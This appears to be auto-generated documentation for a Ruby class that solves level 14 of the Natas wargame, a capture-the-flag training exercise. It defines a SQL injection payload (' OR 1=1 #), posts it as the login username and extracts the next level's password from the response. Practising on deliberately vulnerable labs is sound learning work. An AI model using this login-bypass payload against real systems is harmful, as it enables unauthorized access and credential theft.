Class: NatasLevel14
- Inherits:
-
NatasLevelBase
- Object
- NatasLevelBase
- NatasLevel14
- Defined in:
- lib/natas.rb
Overview
Level 14
Constant Summary collapse
- LEVEL =
14
- PAGE =
'/'
- PAYLOAD =
%(" OR 1=1 #)
Constants inherited from NatasLevelBase
NatasLevelBase::HOST, NatasLevelBase::LOGIN, NatasLevelBase::PASSWORD_LENGTH, NatasLevelBase::PORT, NatasLevelBase::WEBPASS
Instance Attribute Summary
Attributes inherited from NatasLevelBase
Instance Method Summary collapse
Methods inherited from NatasLevelBase
#get, #initialize, #level, #post
Constructor Details
This class inherits a constructor from NatasLevelBase
Instance Method Details
#exec ⇒ Object
453 454 455 456 457 458 459 460 461 462 463 464 465 |
# File 'lib/natas.rb', line 453 def exec data = post( PAGE, {}, { 'username' => PAYLOAD, 'password' => '' } ).body match = /The password for natas15 is (\w{32})<br>/.match(data) not_found unless match found(match[1]) end |